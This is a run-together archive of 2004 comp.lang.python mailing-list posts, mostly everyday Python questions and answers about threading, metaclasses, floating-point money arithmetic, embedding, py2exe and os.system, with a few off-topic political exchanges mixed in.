Subject: Metaclass to make all methods of a class thread-safe References: <415728eb$0$78753$e4fe514c@news.xs4all.nl> Message-ID: <4edc17eb.0409270141.4faf130c@posting.google.com> Irmen de Jong wrote in message news:<415728eb$0$78753$e4fe514c at news.xs4all.nl>... > Hi, > I've developed the Metaclass below, because I needed a way > to make a bunch of classes thread-safe. > I didn't want to change every method of the class by adding > lock.aqcuire()..lock.release() around the existing code. > So I made a metaclass that essentially replaces every method > of a class with a 'wrapper' method, that does the locking, > invocation, unlocking. > > Is this the right approach? It seems to work fine. But I have > very little experience with metaclass programming, so I'd like > to hear some feedback. > > Thanks !! > > --Irmen de Jong. Well, it looks okay, but consider the following: 1. you have a (metaclass) static method and a (metaclass) classmethod which could be replaced by simple functions external to the metaclass; this would make the code much easier to read and to understand; I don't buy the argument that they should logically stay in the metaclass, it is enough if they stay in the same module of the metaclass, not inside it; 2. the metaclass will automagically wrap even methods of subclasses, without you knowing it; consider using a naming convention (es. only methods starting with "t_" are magically wrapped); if still you want the magic, consider defining a name convention such as methods starting with a given prefix are NOT magically wrapped; 4. built-in methods and all the objects which are non instances of FunctionType will be not wrapped; you may want this or not; 5. consider using decorators to wrap the methods you want to be thread safe: they a more esplicit and easier to understand solution; also in this way you will avoid the (possible) issue of metaclass conflicts. 6. However, if you want to enhance a code which is already written with a minimal change of the source code, the metaclass is the simplest solution indeed. Just my 0.02c, Michele Simionato From jepler at unpythonic.net Tue Sep 28 17:57:01 2004 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Tue, 28 Sep 2004 16:57:01 -0500 Subject: all pairs of items in a list without indexing? In-Reply-To: References: Message-ID: <20040928215701.GA11275@unpythonic.net> I think that Steven wants to generate all pairs of items in a list, not successive pairs. So for the input [1, 2, 3] he wants [[1, 2], [1, 3], [2, 3]] or some ordering of it, anyway. I think that I would write def all_pairs(seq): l = len(seq) for i in range(l): for j in range(i+1, l): yield seq[i], seq[j] (essentially the OP's first suggestion, but with 'len(seq)' prematurely optimized out) Something about taking a slice of seq for the inner loop doesn't seem right to me. Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From robin.siebler at palmsource.com Mon Sep 13 14:52:41 2004 From: robin.siebler at palmsource.com (Robin Siebler) Date: 13 Sep 2004 11:52:41 -0700 Subject: Python or 4NT? With a question or two about popen() References: <95c29a5e.0409121552.af6bdba@posting.google.com> <1cpo13uwxp8dq.dlg@thorstenkampe.de> Message-ID: <95c29a5e.0409131052.556093db@posting.google.com> > I'd consider IPython (state-of-the-art replacement for basic Python > CLI) in "shell mode" ("This profile turns IPython into a lightweight > system shell with python syntax"). I tried IPython some time ago, but it didn't quite work properly on Windows. Has that been fixed? From justin__devine at hotmail.com Fri Sep 3 15:07:41 2004 From: justin__devine at hotmail.com (Justin) Date: 3 Sep 2004 12:07:41 -0700 Subject: Urlopen.urlretrieve(url, to) can it be canceled/stopped/killed Message-ID: does anybody know if there is a way to stop urlretrieve mid transfer or are you simply bound to finishing the file you are on? If anybody knows the answer to this let me know. i have read all the docs and there is a callback or reporthook function, but I am not sure if that can be used to halt the progress and close the socket. -Justin This is the final feature on my first program Thanks to all the help from all on comp.lang.python From martin at v.loewis.de Mon Sep 27 00:59:52 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 27 Sep 2004 06:59:52 +0200 Subject: emulating du with os.walk In-Reply-To: References: Message-ID: <41579e43$0$9613$9b622d9e@news.freenet.de> Kirk Job-Sluder wrote: > There should be an easy way to get around this, or perhaps I'm better > off just parsing the output of du. I suggest that you don't use os.path.walk, but write a recursive function yourself. You should find that the entire problem can be solved in 12 lines of Python code. Regards, Martin From ialbert at mailblocks.com Wed Sep 22 16:18:54 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 22 Sep 2004 16:18:54 -0400 Subject: Distutils and binaries without compilation In-Reply-To: References: Message-ID: Mark English wrote: > Who to believe... both. funny eh? Depends of which source code the C or the python one did you not want to be included in the distribution. Istvan. From frithiof.jensen at diespammerdie.jensen.tdcadsl.dk Mon Sep 20 03:28:38 2004 From: frithiof.jensen at diespammerdie.jensen.tdcadsl.dk (Frithiof Andreas Jensen) Date: 20 Sep 2004 07:28:38 GMT Subject: python vs c# References: Message-ID: <414e86a6$0$183$edfadb0f@dread11.news.tele.dk> julio wrote in news:mailman.3529.1095642828.5135.python-list at python.org: > mail. Is people so close minded to resist change ? things change , is > human's nature to resist the change. *I*, for one, am not opposed to changing your face, Troll. From peter at engcorp.com Tue Sep 28 12:51:46 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 12:51:46 -0400 Subject: using threads with for-loops In-Reply-To: <3e96ebd7.0409280711.42ef328b@posting.google.com> References: <3e96ebd7.0409280711.42ef328b@posting.google.com> Message-ID: Klaus Neuner wrote: > Hello, > > I wrote a program that does essentially the following: > > for rule in rules: > for line in line_list: > line = my_apply(rule, line) > > line_list contains the lines of some input text. > > To "apply a rule" always means to > > 1. do some regex matches on line > 2. substitute something in line > > My question is: Given this "architecture", does it make sense > to use threads? And if so, how? The code is (based on what you give above) "CPU bound", which means you will not see any advantage in using threads. Threads don't magically make anything go faster, and in fact have a certain overhead for the context switch, so no, it makes no sense to use threads here. -Peter From toaster at compass-it.ch Wed Sep 8 09:40:20 2004 From: toaster at compass-it.ch (jacques) Date: 8 Sep 2004 06:40:20 -0700 Subject: run a python script located on linux from a windows computer References: Message-ID: <2cbc7d61.0409080540.cb4adf1@posting.google.com> Alexander Hoffmann wrote in message news:... > Hello Jacques, > > On Tuesday 07 September 2004 11:05, Tim Golden wrote: > > | -----Original Message----- > > | From: toaster at compass-it.ch [mailto:toaster at compass-it.ch] > > | Sent: 07 September 2004 09:52 > > | To: Tim Golden > > | Subject: RE: run a python script located on linux from a windows > > | computer > > | > > | > > | hello tim > > | > > | ok i have a linux box running a 'Camera-Server'. There a several > Do you mean there is some kind of hardware attached to the linux box ? In that > case I'm not sure if you will be happy with the scripts being run from a > remote environment, be it windows or linux. It MIGHT also fail because the > scripts try to access the local hardware. If so, consider using some emulator > like wine or vmware. I don't know if you really succeed this way but it may > be worth trying. > > Good luck, > Alex > > > | test-scripts. When i try to run them under linux i got a plenty of > > | errors. So i want to launch then from the windows box. so i have a > > | script in /opt/videoserver/testing/myscript.py > > | > > | how can i launch this script from my win box? > > | > > | thank you > > | jacques > > > > [I've copied your reply back to the list to make sure > > the conversation remains visible] > > > > Someone else has just suggested running a Samba server, > > which would let you map the linux drive on the Windows > > box. You'd end up running something like: > > > > C:\> python X:\testing\myscript.py > > > > Is that what you were after? > > > > BTW, what makes you think that running your scripts on > > a Windows box will make the errors go away? > > > > TJG > > > > ________________________________________________________________________ > > This e-mail has been scanned for all viruses by Star. The > > service is powered by MessageLabs. For more information on a proactive > > anti-virus service working around the clock, around the globe, visit: > > http://www.star.net.uk > > ________________________________________________________________________ Thank you for your help... i had luck and i got the script running on my linux box :) From agriff at tin.it Thu Sep 2 07:56:25 2004 From: agriff at tin.it (Andrea Griffini) Date: Thu, 02 Sep 2004 11:56:25 GMT Subject: Basic tokenizer References: Message-ID: On Thu, 2 Sep 2004 08:24:19 +0200, "Miki Tebeka" wrote: >There are several parsing/lexing packages for Python. My favorite is PLY >(http://systems.cs.uchicago.edu/ply/). I gave it a very quick look and I've to say that I was impressed... but it wasn't a good impression. For example the pycalc.py example is just a few lines shorter than a recursive descent parser that implements a similar calculator *without importing any module, not even "re"*. If implementing something from scratch requires the same amount of code than using a tool I begin wondering what's the point in using such a tool. I was told that the good point about parser generators is that at least you can be sure the code is correct. Try feeding "10/2" or ")" to pycalc.py ... :-( Andrea From albalmer at att.net Fri Sep 10 11:21:27 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 10 Sep 2004 08:21:27 -0700 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> Message-ID: <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> On 09 Sep 04 15:28:13 -0800, "Charlie Gibbs" wrote: >It's been revealed that here in British Columbia (that part of >Canada on the Pacific coast for those of you who are geographically >challenged), management of medical information has been farmed out >to a subsidiary of a U.S. corporation. According to the Patriot Act, >the U.S. government is entitled to access these files, and anyone - >American or Canadian - who so much as mentions that they're doing it >can be thrown into a U.S. jail. Can you point to the relevant section(s) of the Act? Can you point to the international agreement which allows Canadian citizens to be thrown into US jails for the stated offense? -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From dperl at rogers.com Wed Sep 1 12:19:57 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 01 Sep 2004 16:19:57 GMT Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> Message-ID: Sorry, Anthony, but I don't think that is relevant for my example. I wasn't referring to replacing the superclass with another one, which is where 'super( )' would have been useful because it detects the superclass only at run-time. I was referring to changing the implementation of the superclass, in which case 'super( )' doesn't make any difference. See, however, a posting from Jorge Godoy, where he makes the great point that the problem is removed by always subclassing the base class from 'object'. So the new-style class mechanism is taking care of this problem. Dan "Anthony Baxter" wrote in message news:mailman.2726.1094051698.5135.python-list at python.org... > On Wed, 01 Sep 2004 14:54:06 GMT, Dan Perl wrote: > > Not in Python. A user of my library has to invoke the parent's class > > __init__ in their own __init__. What happens if, in a future release, I get > > rid of the __init__ in the parent class? Or the other way around. An early > > release does not have a parent __init__, the users don't invoke it because > > they can't, and then, in a future release, I add the parent __init__ because > > I added some attributes. It breaks all the users' code. This is poor > > encapsulation. > > Use 'super()', in that case. > > http://www.python.org/dev/doc/devel/lib/built-in-funcs.html#l2h-70 From peter at engcorp.com Wed Sep 22 08:22:23 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 22 Sep 2004 08:22:23 -0400 Subject: Why not FP for Money? In-Reply-To: <41512635$0$94916$5a6aecb4@news.aaisp.net.uk> References: <41512635$0$94916$5a6aecb4@news.aaisp.net.uk> Message-ID: John Burton wrote: > "Chris Barker" wrote: >>I've seen it suggested various times that one should use fixed point >>for money, perhaps micro cents represented as integers. However, if >>you do that, you need to make sure you do all the rounding correctly. > > On my version of python: > > # I spent ?1 and 13 pence > p = 1.13 > > # How many pence is that? > print int(p*100) > 112 > > # Oops > > You don't need quadrillions of dollars before you run into a value which > can't be represented in a floating point value to such a degree that the > rounding comes out wrong. Yes you could probably "fix" the rounding to make At the risk of sounding like I might be supporting the idea of using floats (which I'm not): c:\>python >>> p = 1.12 >>> print round(p*100) 112.0 >>> print int(round(p*100)) 112 int() doesn't do rounding, it truncates. If you actually *do* round, it tends to work just fine. If all operations ended with a call to round(), the floating point idea would not really be as bad as you suggest here... but it's still a bad idea. :-) -Peter From elainejackson7355 at home.com Fri Sep 24 19:00:32 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Fri, 24 Sep 2004 23:00:32 GMT Subject: Drawing sound References: Message-ID: It sounds like you are looking for something along the following lines: The Snack Sound Toolkit is designed to be used with a scripting language such as Tcl/Tk or Python. Using Snack you can create powerful multi-platform audio applications with just a few lines of code. Snack has commands for basic sound handling, such as playback, recording, file and socket I/O. Snack also provides primitives for sound visualization, e.g. waveforms and spectrograms. It was developed mainly to handle digital recordings of speech, but is just as useful for general audio. Snack has also successfully been applied to other one-dimensional signals. If so, you can download it from here: http://www.speech.kth.se/snack/ HTH "Chris" wrote in message news:ttNMvZB0zGVBFwRQ@[127.0.0.1]... | I want a program that can "draw" sound. | | Imagine drawing a graph of frequency against time - | and then being able to play it over the computer speakers. | | Can this be done in Python? | | As a start, consider this simple QBASIC program that generates random | frequencies: | | 10 frequency = 40 + 400 * RND | 20 SOUND frequency, 7 | 30 GOTO 10 | | That's fine - except that it plays over the PC speaker - the one that's | just there for the happy beep - and not through the sound card and | proper speakers. | | Can that be done in Python? | Or in any other language? | -- | Chris From http Sun Sep 19 04:07:01 2004 From: http (Paul Rubin) Date: 19 Sep 2004 01:07:01 -0700 Subject: Math errors in python References: Message-ID: <7xwtyqsmvu.fsf@ruckus.brouhaha.com> Peter Otten <__peter__ at web.de> writes: > Starting with Python 2.4 there will be the 'decimal' module supporting > "arithmetic the way you know it": > > >>> from decimal import * > >>> Decimal("12.10") + Decimal("8.30") I haven't tried 2.4 yet. After a = Decimal("1") / Decimal("3") b = a * Decimal("3") print b What happens? Is that arithmetic as the way I know it? From godoy at ieee.org Sun Sep 5 11:43:00 2004 From: godoy at ieee.org (Jorge Godoy) Date: Sun, 05 Sep 2004 12:43:00 -0300 Subject: Module name conflict with standard library References: <87k6v9o8cg.fsf@news2.ososo.de> <4edc17eb.0409042332.5730eed7@posting.google.com> <10jlqmr85klsb0a@news.supernews.com> <87r7pg4uvo.fsf@news2.ososo.de> Message-ID: Felix Wiemann writes: > Nigel Rowe wrote: > >> In the mean time [until PEP 328 is implemented], >> >> http://hkn.eecs.berkeley.edu/~dyoo/python/__std__ >> >> can help at least some of the problems. > > This doesn't always work: > > $ cat random.py > from __std__ import random > > $ python random.py # this works > > $ cat curses.py > from __std__ import curses > > $ python curses.py # this does not work > Traceback (most recent call last): > File "curses.py", line 1, in ? > from __std__ import curses > File "/usr/lib/python2.3/curses/__init__.py", line 16, in ? > from curses.wrapper import wrapper <--- Uh-oh > File "/var/home/felix/tmp/curses.py", line 1, in ? > from __std__ import curses > ImportError: cannot import name curses > > So I hope that absolute imports will get implemented in Python 2.4. I > think I'll name my module 'Curses', as John suggested (even if that's > asking for trouble on Windows systems). Do you really need to use the same name? How about something like "mCurses" (myCurses) or "oCurses" (own Curses), etc. ? It avoids the name clash on Windows and states that you are really not referring to the standar curses module. Avoiding to use an already existing name is good and it is even better when you are using a name tha tis available at the standard library. Not following this might cause more harm than good in the long run (or short run, as you've noticed already). Be seeing you, -- Godoy. From proto at panix.com Thu Sep 16 11:57:31 2004 From: proto at panix.com (Walter Bushell) Date: Thu, 16 Sep 2004 11:57:31 -0400 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> Message-ID: In article , Patrick Scheible wrote: > Morten Reistad writes: > > > I do not agree. Kennedy and Clinton had a lousy foreign-policy > > record. The Bay of Pigs, Vietnam, the Cuba crisis were all > > examples of glorious miscalculations. Ditto Rwanda, Somalia, and > > the > > Vietnam was certainly a catastrophe, but the blame goes to Johnson, > not Kennedy. There were only a few thousand U.S. troops in training > and advisory roles in Vietnam by Kennedy's assassination. Johnson > decided to escalate the war and have U.S. forces fight directly. > > Even the best presidents can't have nothing but successes. The Bay of > Pigs was a failure, but at least Kennedy didn't compound the mistake > by sending in U.S. troops where Cuban expats failed. > > -- Patrick His mistake, was IIRC, promising air cover and then not delivering. Hey, that's a mistake that has been made by real military leaders. -- Guns don't kill people; automobiles kill people. From mauriceling at acm.org Thu Sep 2 19:10:11 2004 From: mauriceling at acm.org (Maurice LING) Date: Thu, 02 Sep 2004 23:10:11 GMT Subject: compiling to python byte codes In-Reply-To: <41375f6a$0$13076$9b622d9e@news.freenet.de> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> Message-ID: <4137a850$1@news.unimelb.edu.au> Hi Martin, Martin v. L?wis wrote: > Michael Foord wrote: > >> But that still doesn't answer the OPs question which is about writing >> code in another language to generate python bytecode.... > > > I did. I told him about the compile() function, and indeed, > > compile("2+4","","eval") > > generates Python bytecode. Can I feed a python source file into compile(), line by line, and expect it to generate a working .pyc file? I suppose my intended use is to be able to handle python codes written at run time, to execute python codes line by line, in a python program. It is somewhat like a tracer routine that can interpret a line of python code, read out the variables, before going to the next line of python code. Can compile() do this, or do I have to use pexpect to run an instance of python? > >> Is python bytecode *that* different to Java bytecode (not in detail >> but in concept ?). > > > Yes. Java bytecode is typed; Python bytecode is not. > >> There's no reason why another compiler couldn't >> emit python bytecode to run on the 'python virtual machine' ? I was thinking that it may be simpler to say, write a PHP-to-Python compiler which compiles PHP into an intermediate form, which is then converted into python bytecodes, rather than trying to automate source code conversion from PHP to Python. Well, PHP is just an off-hand example, it may be COBOL or Pascal. Any ideas? Regards Maurice > > > It is certainly possible. Indeed, the Python compiler does generate > Python bytecode from source code, so it must be possible :-) > > Regards, > Martin > From ml at dynkin.com Sat Sep 18 18:23:17 2004 From: ml at dynkin.com (George Yoshida) Date: Sun, 19 Sep 2004 07:23:17 +0900 Subject: optparse question In-Reply-To: <0W13d.272974$OR2.12451641@news3.tin.it> References: <0W13d.272974$OR2.12451641@news3.tin.it> Message-ID: GMTaglia wrote: > I think it will be better if only the *exact* option will match, it will > avoid typing mistakes and/or accidentally wrong matches, imho. > I think this is because getopt module is designed as a pure Python implementation of Unix(Linux?) getopt function. I tested the sample code in C and it handled long options as Python does. George From db3l at fitlinxx.com Thu Sep 16 15:32:58 2004 From: db3l at fitlinxx.com (David Bolen) Date: 16 Sep 2004 15:32:58 -0400 Subject: yet another os.popen quesion References: Message-ID: matt.torment at gmail.com (Matthew K Jensen) writes: > I've been trying to find a way to detect when a command run by > os.popen (or similar) has completed (in Windows, btw). I found such a > function (i don't remember the exact name and library), but the said > function was only availible for UNIX, for which I am not currently > making programs for (but soon plan to). Any ideas? If you stick with popen (not sure what "similar" is), one approach, if you don't mind blocking, is just to close your end of the pipe. Under windows, the result of the close (or in the case of the popen# functions, the last handle close) will return the result of the child process, so if the child process hasn't yet terminated, it will block until the child process does terminate. Note that if the child process is generating output, you'll probably want to drain the output (in which case the read will let you know when the child has exited and closed its end of the pipe) or else there's some risk the child could block if its output buffers fill, and never exit yourself, which would be a deadlock condition. -- David From zanesdad at bellsouth.net Thu Sep 23 07:03:24 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Thu, 23 Sep 2004 07:03:24 -0400 Subject: Comparation to other languages In-Reply-To: References: Message-ID: <4152AD7C.8020709@bellsouth.net> Abdullah Khaidar wrote: >I've read some language -include python- comparation texts >(benchmarks). But they are very old, so that I'm doubt about their >results. Does anyone know language comparation texts which compare >recent version of python -python 2.3- with some other languages? > >M. Abdullah Khaidar >-- http://khaidarmak.blogspot.com > > You probably want "The Great Computer Language Shootout" at http://shootout.alioth.debian.org/. Complete with code examples for each benchmark. It says they are using Python 2.3.4. It even has Psyco thrown into the mix. From bretth at aiinet.com Tue Sep 14 09:40:59 2004 From: bretth at aiinet.com (Humphreys, Brett) Date: Tue, 14 Sep 2004 09:40:59 -0400 Subject: Thread Starvation Message-ID: Hello All, To preface my question, I'm running python on an embedded PowerPC chip (8xx), with a host OS of Linux. I'm seeing, in some of my applications, thread starvation. I can create new threads, however their run methods are never called. Interestingly enough, threading.activeCount() and threading.enumerate() properly return all the threads I've started. Yet none of them will get their run method called. The python interpreter we use to run our python scripts is created programmatically in its own thread (f that matters at all). For quite sometime, I thought this was a memory leak on our side, but I'm not convinced of that, yet I haven't ruled it out. If it is a memory leak, it only manifests itself in threading, no where else do we see strange behavior, and we write quite a few scripts targeted to this platform. 90% of our scripts have threads that work just fine. It is a small subset of our scripts that have thread starvation. It is worth noting that if a script runs into this problem, *all* of the threads starve, not just a couple of them starve. Finally, the scripts that exhibit this behavior, always exhibit this behavior. It doesn't seem to be dependent upon any external conditions. What I'm curious about is the following: - Has anyone ever encountered something similar to this? - What are appropriate ways of debugging this? Are there ways to debug the interpreter to get more information from it (i.e.: what is causing it to not call run(), is there some mutex issue, resource issue, etc)? I realize there are a ton of variables to take into account here, I'm just looking for some ideas on what might be holding me up. Thanks so much. -Brett Brett Humphreys Software Engineer Applied Innovation Office: 800-247-9482 x2302 Fax: 614-798-1770 From export at hope.cz Tue Sep 28 15:07:27 2004 From: export at hope.cz (Lad) Date: 28 Sep 2004 12:07:27 -0700 Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> <77ce170c.0409280647.7e98e76d@posting.google.com> Message-ID: <81a41dd.0409281107.5fd1c525@posting.google.com> gjbaker at usa.com (Greg) wrote in message news:<77ce170c.0409280647.7e98e76d at posting.google.com>... > export at hope.cz (Lad) wrote in message news:<81a41dd.0409280200.1a74edd1 at posting.google.com>... > > I used Py2exe to compile my script( I use XP). > > The compiled script works OK on my XP where Python is installed. > > But when I install the compiled exe to another computer, > > > > os.system > > > > causes the following error: > > Bad file or command name > > > > Any help would be appreciated. > > Lad > > Did you install the python dll as well? Yes, I installed all files( I think) because everything else works. Only os.system does NOT. I use os.system to open txt file.I use it like os.system('Myfile.txt') When I use os.startfile instead of os.system it works well. From jeremy+plusnews at jeremysanders.net Thu Sep 2 05:17:19 2004 From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders) Date: Thu, 02 Sep 2004 10:17:19 +0100 Subject: Script executes script? References: Message-ID: On Wed, 01 Sep 2004 12:26:49 +0200, Michel Claveau - abstraction m?ta-galactique non triviale en fuite perp?tuelle. wrote: > It's OK also with windows, like popen, pawn, etc. But execfile( is more > fast, and need minus memory. Of course. Occasionally you want an extra process, however! Jeremy From peter at engcorp.com Fri Sep 24 09:10:54 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 09:10:54 -0400 Subject: file read, binary or text mode In-Reply-To: <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> Message-ID: Guyon Mor?e wrote: > ok, i have huffman encoding code. > > this is actually build for text, but because python can also read a binary > file as a string, this applies equally well :) > > but, i was just wondering if this gives any problems if I use text-mode read > for the binary files and vice versa. > > If I undertand correctly now, using binary mode is _always_ save, right? You're not helping a whole lot here. What platform are you using? I'll assume from the headers in your message that it's Windows. If that's true, then forget about text and binary and ASCII for a moment, and just consider this. If you open a file on Windows using "r" or "rt" or the default (which is "r"), then when you read the file any occurrences of the byte sequence 13 followed by 10 (that is, CR LF or \r\n or whatever you want to call it) will be replaced as the file is read by just the 10, or the LF, or the \n, or whatever you want to call it. If you use "rb" instead of just "r" or the default, then this translation will not occur and you will retrieve all bytes in the file just as they are stored there. It's up to you to pick the behaviour you need. Saying it's "huffman encoding code" doesn't really help, since that doesn't refer to any universal standard representation data. It seems likely that it's binary (i.e. the translation provided by not using "rb" is undesirable), but nobody here knows where you got that file or what it contains. And in case that doesn't answer the questions above: (1) yes, it can definitely give problems reading text files as binary and vice versa, and (2) binary mode applies whenever "b" is used on Windows, and not otherwise, so if you save a file without using "wb" you will get the same translation as above but in the reverse direction (LF or \n gets turned into CR LF or \r\n on output). -Peter From tfogal at unh.edu Tue Sep 14 14:34:58 2004 From: tfogal at unh.edu (tom fogal) Date: Tue, 14 Sep 2004 13:34:58 -0500 Subject: embedding python Message-ID: Hi all, I can't seem to find out how to get a python script to run from a C (well, C++...) program. In particular, I'm confused about how the execution of the example code at http://docs.python.org/ext/pure-embedding.html works. If I call the example code 'multiply.py' and I generate an executable named 'call' (as the page suggests), I had expected the following to work: ./call multiply.py multiply 3 2 where 'multiply' is a function in multiply.py. The above comes back with an ImportError saying that there is "No module named multiply.py", and a similar message if I change 'multiply.py' to 'multiply' (again as the page would suggest). I saw somewhere (sorry, I forget where now) some code that would suggest that I need to tag my python files with a module name, and got the vague impression that something like: modname="multiply" mod = __import__(modname) would do the trick. This doesn't seem to affect things though... Could anyone show me in the right direction towards just getting a simple 'hello world' type example to be run from a PyImport_ call? I'm hoping I could figure it out without bothering anyone else from then on. Thank you, -tom From aleaxit at yahoo.com Tue Sep 14 14:17:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 20:17:04 +0200 Subject: funcs vs vars in global namespace References: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> <8KD1d.10$26.4@llslave.llan.ll.mit.edu> <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> Message-ID: <1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com> David Rysdam wrote: ... > OK, dumb question #1: > > Why do this: > > sub_module = __import__(which_module_this_time) > vars(sub_module).update(which_dict_this_time) > > When I could just do this: > > __import__(which_module_this_time, which_dict_this_time) > > ? You can do whatever you wish, but what makes you think these constructs have similar effects? Quoting from Python's online docs on __import__, """ the standard implementation does not use its locals argument at all, and uses its globals only to determine the package context of the import statement """ In short, the standard implementation of __import__ does NOT alter in any way the dict of the module it imports. Alex From ialbert at mailblocks.com Wed Sep 22 13:27:22 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 22 Sep 2004 13:27:22 -0400 Subject: PyYaml? In-Reply-To: References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net> Message-ID: Andrew Dalke wrote: > [Long post. Summary is I've found three exploits in > pyyaml and at least five limitations w.r.t. the existing > Python pickles. I DO NOT recommend anyone use pyyaml pulling no punches From bokr at oz.net Fri Sep 10 17:29:48 2004 From: bokr at oz.net (Bengt Richter) Date: 10 Sep 2004 21:29:48 GMT Subject: Is there no switch function in Python References: <1gjv9x9.ory9xvc5569dN%aleaxit@yahoo.com> Message-ID: On Thu, 9 Sep 2004 22:27:02 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Rudi Hansen wrote: > >> I dont seem to be able to find the switch statement in Python. > >Right, there isn't one. > >> >> I would like to be able to do >> >> switch(var) >> case 1 : >> print "var = 1" >> case 2: >> print "var = 2" >> >> But it seems that i have to do. >> >> if(var=1) >> print "var =1" >> elseif(var=2) >> print "var=2" >> >> Is ther no easier way?? > >several, starting with > >if var in (1,2): print 'var = %s' % var > >The most Pythonic idiom, when you have to do something substantial in >each branch of the switch, is a dictionary of callables -- in this toy >case it might be: > >switch = {1: lambda: sys.stdout.write('var=1\n'), > 2: lambda: sys.stdout.write('var=2\n'), } >switch.get(var, lambda: '')() > >An if/elif tree is also fine, though the syntax is not as you think...: > >if var == 1: > print 'var is one' >elif var == 2: > print 'var is two' > The trouble is that other than if/elif/else or some weird exception tricks, you can't switch between statements that execute as if they were suites of if/elif/else -- i.e., in the local namespace. And UIAM current exec introduces special restrictions in a function. So you can't get a constant-time "jump table" effect. But IWT if we had named local code suites, we could exec them safely via a mapping. E.g., def foo(var): # following is not legal code ;-) v1: print 'var is one' v2: # any suite should be ok, not just one-liners print 'var', print 'is two' switch = {1:v1, 2:v2} exec switch.get(var, '') It would also be nice if the local bindings of named local code suites were (or became wrapped on access as) objects that were callable like functions without parameters. Locally that could be optimized, but if e.g. foo returned v2 to its caller, there would have to be a wrapper with a mutable closure capturing the current name space IWT. This would also be interesting to pass to another function, which then could effectively execute a code suite in _its_ caller's space. This could lead to all kinds of wild things, _some_ of which would probably be neat and useful ;-) It would be nice to get the switch mapping built at def-time, which should be feasible, since the v1,v2 etc, bindings could be available then. Not sure how to spell it nicely though, except that I still like the notion of a general way to specify def-time execution of statements or expression terms. E.g., using '..' as a syntactic marker, switch ..= {1:v1, 2:v2} could mean create the binding at def-time (necessarily evaluating the rhs then also). I had previously proposed that def foo(): x ..= 123 return x be codewise equivalent to current def foo(x=123): return x without having x appear in the argument list, but still having the same call-time local-binding initialization effect (i.e., new binding to def-time rhs value). I mention this because v1 and v2 in the example are not in the namespace that is normally searched for default arg rhs expressions as in def foo(x=name): ..., so named local suites' names would have to be included (and allowed to shadow names that might otherwise be found). No one commented on my previous post on that, perhaps because I didn't split it out into a separate post with appropriate title. So here I did it again ;-/ The main use would be efficient local binding initialization without using the default-arg hack or using a factory funtion to return a function with initialized bindings in a closure. The other use would allow constant folding for terms in expressions, using ..(expr) as as spelling for evaluating expr at def-time and using a constant binding to the result at run-time. E.g., def circle_area(r): return ..(__import__('math').pi)*r*r would generate byte code like what you can now do with Raymond Hettinger's global-constant optimizing decorator by writing: pi = __import__('math').pi # just to make it look like the expr above @bind_constants() def circle_area(r): return pi*r*r del pi (Very nice, Raymond) Maybe Raymond will make a decorator to do local variable initialization, so we can write @localinit('name', expr) def foo(): name = name*2 # usable like default name in def foo(name=expr): ... return name ;-) Regards, Bengt Richter From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sat Sep 11 17:52:53 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Sat, 11 Sep 2004 23:52:53 +0200 Subject: How can I exec() in global? References: Message-ID: Hi too ! You can, also, to do : def foo(): exec ('''global X X=[1,2,3]''') @-salutations -- Michel Claveau From carribeiro at gmail.com Tue Sep 28 19:05:30 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 28 Sep 2004 20:05:30 -0300 Subject: annoying behavior In-Reply-To: <9418be08.0409281438.25e2abe@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> <9418be08.0409281438.25e2abe@posting.google.com> Message-ID: <864d37090409281605659597c4@mail.gmail.com> On 28 Sep 2004 15:38:28 -0700, Elbert Lev wrote: > Daniel Dittmar wrote in message news:... > > I think, it would be good, if some sort of warning is given during > import, but not during instantiating the instance 